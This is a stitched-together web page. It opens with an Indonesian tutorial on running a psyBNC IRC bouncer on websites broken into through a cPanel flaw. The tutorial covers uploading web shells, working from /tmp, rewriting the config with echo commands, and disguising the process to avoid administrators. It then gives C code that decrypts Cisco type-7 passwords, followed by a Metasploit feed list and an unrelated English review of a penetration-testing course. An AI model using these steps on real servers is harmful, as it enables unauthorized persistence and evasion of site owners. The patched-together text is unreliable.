kebiasaan hacker hacker kita mencari rooting adalah untuk membuat bot eggdrop atau membuat psybnc. Namun saya beranggapan bhw kebanyakan teman teman sekalian kebingungan cara sehingga banyaklah situs situs yang di deface.

apakah kita bisa install psybnc di cpanel bug ?

lebih lanjut...
1. saya anggap bhw anda sudah berhasil melakukan upload ke dalam situs yang anda ambil lewat cpanel bug. Bila anda belum paham, silahkan anda baca tutorial tentang mengexplorasi cpanel < 5.3 di tulisan sebelumnya.

2. Upload ke dalam situs tersebut file yang bisa sebagai mediator seperti layaknya shell. Beberapa file yang bisa dijadikan mediator antara lain cgitelnet.pl, myshell.php, phpshell.php.

3. Bekerjalah di mediator tersebut.

4. Saat bekerja dengan mediator tersebut perlu anda ingat bhw kita bekerja di port 80 dengan notabene bhw anda adalah nobody (id) sehingga kita tdk bisa melakukan apapun di dalamnya. Namun kita bisa bekerja di wilayah /tmp/. Pindahlah ke folder /tmp/ dan selanjutnya bekerjalah diruang lingkup tersebut.

5. Proses instalasi psyBNC tidak akan saya jelaskan disini, karena saya anggap bhw anda sudah mahir. namun yang jadi sering kendala adalah saat mengganti port psyBNC tersebut.

6. Untuk melakukan editing port yaitu dengan menggunakan command echo. pertama adalah lakukan cat psybnc.conf
PSYBNC.SYSTEM.PORT1=31337
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*

Tentunya anda perlu buat ganti port tersebut.
ketiklah sebagai berikut untuk mengganti portnya

echo PSYBNC.SYSTEM.PORT1=5000 > psybnc.conf ; echo "PSYBNC.SYSTEM.HOST1=*" >> psybnc.conf ; echo "PSYBNC.HOSTALLOWS.ENTRY0=*;*" >> psybnc.conf

sehingga kita mendapatkan port baru yaitu port 5000

7. selanjutnya tinggal running ./psybnc dan saya sarankan anda buat menggunakan program fake untuk menghindari adminnya.

#include
#include

char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};

char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
return(-1);

seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);

for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}

val *= 16;

if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}

if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}

if(strlen(enc_pw) != i)
return(-1);
}

dec_pw[++i / 2] = 0;

return(0);
}

usage()
{
fprintf(stdout, "Usage: %s -p \n", pname);
fprintf(stdout, " %s \n", pname);

return(0);
}

main(argc,argv)
int argc;
char **argv;

{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;

pname = argv[0];

if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}

if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;

case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n",
passwd);
break;

default:
fprintf(stderr, "%s: unknow option.",
pname);
}

return(0);
}

if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}

while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;

fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;

if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;

if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);

if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);

if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}

if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);

fprintf(out, "%s\n", passwd);
}
}
}

The Metasploit Blog

Nov-12-2010 - Metasploit: Now with more commercial-grade-y-ness (jcran)
Nov-11-2010 - Where's the 0x1337beef? (jduck)
Nov-03-2010 - Metasploit Framework 3.5.0 - Win32 respin (egypt)
Oct-20-2010 - One Year Later: Metasploit Framework 3.5.0 Released! (egypt)
Sep-22-2010 - Impersonating the Windows Print Spooler for Relayed RPC (jduck)
Sep-08-2010 - Return of the Unpublished Adobe Vulnerability (jduck)
Aug-25-2010 - Better, Faster, Stronger: DLLHijackAuditKit v2 (hdm)
Aug-23-2010 - Exploiting DLL Hijacking Flaws (hdm)

Metasploit Framework Development

Nov-23-2010 - Feature #613 (Resolved): Create a standard 'msfupd...
Nov-23-2010 - Bug #3230 (Resolved): update to enum_delicious
Nov-23-2010 - Revision 11107: update enum_delicious, fixes #3230
Nov-23-2010 - Feature #3231 (New): Meterpreter command for getti...
Nov-23-2010 - Revision 11106: Super-duper rservices commit -
Nov-23-2010 - Feature #613: Create a standard 'msfupdate' script...
Nov-23-2010 - Revision 11105: update documentation for executabl...
Nov-23-2010 - Revision 11104: remove examples. if a user wants e...
Nov-23-2010 - Feature #749: search local database support
Nov-23-2010 - Bug #3230 (Resolved): update to enum_delicious

makasih ya sudah baca...@oz

Introduction

If you are in the information security industry, or plan to be you’ve probably been looking at the various infosec certifications available. Back when I started there really wasn’t anything available, there were no infosec degrees and no professional certs. Only later some high level ones came from SANS, then more jumped on the bandwagon with stuff like Security+ and CEH.
The ones I found respected in the industry were certs such as SANS GIAC and Cisco CCIE just for the pure level of network understanding it took to pass. Some others came along mostly aimed at those interested in management like CISSP and CISA.
In more recent years some more technical and more accessible courses and certs have been appearing such as OPST (which I hold) and OSCP. The oldest being CEH has always been thought of as a script kiddy cert, and well it still remains as such – although it has improved vastly over the years it’s still not what it should be (I’ve taught CEH before).
Anyway the point is, there’s a new kid on the block – recently launched from eLearnSecurity called Penetration Testing – Pro (PTP) with the tagline “What CEH Should Have Been”.
The course itself contains 3 knowledge-domains spread over 1600 interactive elearning slides with 4 hours of video and labs. It’s authored by a guy I’ve known a long time Armando Romeo from Hackers Center along with Brett D. Arion and the famous pair Nitin & Vipin Kumar. If you’ve been reading Darknet for a long time most likely you’d have read about Nitin and Vipin here when we wrote about VBootkit bypassing Vistas digital signing.
The course also has an optional certification called Certified Professional Penetration Tester (eCPPT) which should be relevant to most as the course is targeted at those with between 0-3 years of experience. It covers all the way from the basics up to advanced techniques, especially in the System Security section written by Nitin and Vipin.

The Course

The course itself is basically a Penetration Testing Course and covers 3 main areas; System Security, Network Security & Web Application Security. This pretty much covers what you need to know to conduct a penetration test as each of the 3 topics are quite broad. The course-ware itself is well presented and it doesn’t limit the order in which you can learn the topics, there’s no linear progressions so you can pick and choose depending on your mood.
Let’s take a look at the sub-sections.
System Security
The topics covered in System Security are as follows:

• Module 1 : Introduction
• Module 2 : Cryptography and Password cracking
• Module 3 : Buffer overflow
• Module 4 : Shellcoding
• Module 5 : Malware
• Module 6 : Rootkit coding

You’ll fare a lot better in this topic if you have some coding experience as it heads in quite deep starting out with Dev-C++ and Assembly language using NASM. This is probably the most intensive section of the course, especially for the uninitiated. This course once again re-enforces what I wrote 2 years back, that yes – you still need to learn Assembly (ASM).
That’s why I say programming will help, they don’t spoon feed you on ASM and C++ so you’ll need to do some work on your own. However if you already have some knowledge of these two languages you’ll have a definite advantage. They also cover the basics of Windows Driver Development.
After that it’s onto the harder stuff, each topic is covered fairly broadly but with enough pointers so you can continue to do more research on your own. When it comes to subjects like Cryptography, you can spend 4 years doing a degree on that alone – so don’t expect to become an overnight master. Remember the focus of the course is to become a professional penetration tester, so you need to understand enough to do your job. Even though saying that pretty much all bases are covered here, for example the Cryptography module alone has around 150 slides (some of those contain sub-slides) so expect to spend quite some time on this.
The shortest section is the Rootkit module, but then how much can you write about rootkits? As long as you understand the concept and how they generally work you’re good to go.
Network Security

• Module 1 : Information Gathering
• Module 2 : Scanning and target detection
• Module 3 : Enumeration and Footprinting
• Module 4 : Sniffing and MITM Attacks
• Module 5 : VA & Exploitation
• Module 6 : Anonymity

Network Security would probably be my favourite topic, as you get deeper into infosec you’ll tend to find you have a certain affinity for some things, maybe natural talent in those areas or just more interest. Either way, for me it’s always been Network Security.
It follow a fairly logical structure as you would with a pen-test (info gathering, scanning, enumeration/fingerprinting then on to attacks). They explore plenty of tools but do note there are many more out there, it’s not possible to cover them all – plus they only really briefly introduce the tools. Getting familiar/skilled with the tools is on you, finding them however is easy – just look on Google and of course we have a good stock of tools for Network Hacking here at Darknet.
Tools such as Nmap and Maltego are very well covered.
The Vulnerability Assessment and Exploitation section (the fun part!) covers both Nessus and Metasploit fairly well. There are also quite a few videos in this section, which makes the whole thing a lot more interactive. The videos tend to take the form of a screen-cam with a voice over.
Web Application Security

• Module 1 : Introduction
• Module 2 : Information gathering
• Module 3 : Vulnerability assessment
• Module 4 : XSS
• Module 5 : SQL Injection attacks
• Module 6 : Advanced Web Attacks

Web Application Security is of course the newest and hottest security topic right now and has been for the past few years, with more and more sites moving important data online, ecommerce and online payment solutions it’s a critical area.
The two main things you need to know in Web Application Security are XSS (Cross Site Scripting) and SQL Injection.
The code examples are mostly based around PHP which makes sense, the content is well structured and starts from the very beginning (database structure) all the way to advanced SQL Injection attacks. I personally feel this is one of the strongest and most useful sections in the courseware, props to Armando for authoring these modules.
He also gives a good low-down on most of the popular tools for SQL Injection and even includes a taxonomy of what features are supported by each. Where possible the tools are linked directly and in some cases are attached to the slides for immediate download.
Appendixes

• Methodology : Handling information
• Methodology : Forms
• Reporting : Guide

One of the main differences with this course, rather than just teaching you how to ‘hack’ and leaving it there – the course also includes a section on how to professional handle information and how to create reports.
As a professional penetration teser (and as with most) I personally hate the reporting part…but if you want to get paid it’s a necessary evil. You should know to report your findings in a clear, concise and methodological order. This is a very important part as in reality reporting on a VA/PT project can actually account for 30-50% of the total project time, it’s a safe bet in most cases that if the job will take 2 weeks the reporting will take another 1-2 weeks on top of that.
Labs
The labs consist of a customized version of Backtrack 4 with a vulnerable web application built in, there is a comprehensive PDF for download on how to setup the lab to attain the eCPPT certification.
If you really put the effort in, completing the practical assessment shouldn’t be a big problem. The certification exam is a practical pentest over a virtual lab and the production of a full report that will be carefully valuated by one of our instructors – there’s no multiple choice or automated marking here. You really have to prove you know what you’ve learned – including the reporting section.

Conclusion

All in all I think if you are looking for Penetration Testing Training this is a great choice, even if you have no desire to take the certification you can learn a lot just by studying the modules and applying yourself. Perhaps if are new to infosec (1-2) years and you feel you have some weak areas or blind-spots you could fill those in with this course.
If you are just starting out (still studying or a fresh grad) I think the course and the certification will definitely have a positive effect on your career. Currently at only $599USD it’s one of the cheaper offerings on the market and certainly makes economic sense when comparing to attending real life 5-day courses. Also of course it gives you the advantage of taking your time and making sure you really understand each module – more differentiators here [PDF].
It goes into a lot more depth than courses like CEH and can really benefit your skills. I wish there was something like this in 1999 when I was starting out. The way in which the material is presented is a lot more interactive and interesting than many other courses out there with a good mix of words, images and videos plus a good theory/practical mix too. This makes it a lot easier as many of the topics within infosec can get very dry very fast.
You can view the full syllabus here: syllabus.pdf
If you have any more questions you can check the PTP FAQ here.